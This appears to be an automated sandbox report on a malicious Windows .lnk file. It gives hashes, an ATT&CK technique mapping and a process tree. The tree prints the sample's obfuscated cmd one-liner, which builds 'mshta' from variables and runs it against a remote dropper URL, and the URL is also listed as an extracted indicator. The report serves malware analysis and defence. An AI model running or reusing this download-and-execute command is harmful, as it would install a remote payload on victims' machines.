71d410b2cdd61dde2e936b3f82f55c5e35d7341c1211935456f8434cd364cd11

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:28

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General

Target
DOC-P57OS1.lnk
Size 1KB
Sample260803-qqnqlscj7x
SHA256 71d410b2cdd61dde2e936b3f82f55c5e35d7341c1211935456f8434cd364cd11
MD5 6392d48bf63698866214c8899e55f5b4
SHA1 8c915e4f1fc78468ddfb20e776855d9062cec697
SHA512 6c959556a18aca35923365e416d7500586e94436058b6fcc7a2910f912b6d271e81c8e605839f71d08a2a2eab4ab2be0013b0717552bb91af62f077f4eae9c1f
TLSH
T14A3170503FFD0554F3F39E73947B571085BBB8A68D20C61D4141464C1032A14E1BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3780	cmd.exe
4180	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 4180	3780	cmd.exe	90
PID 4180 wrote to memory of 5652	4180	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-P57OS1.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3780
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set CDvU=msh&&set WS=ta&&start "" !CDvU!!WS! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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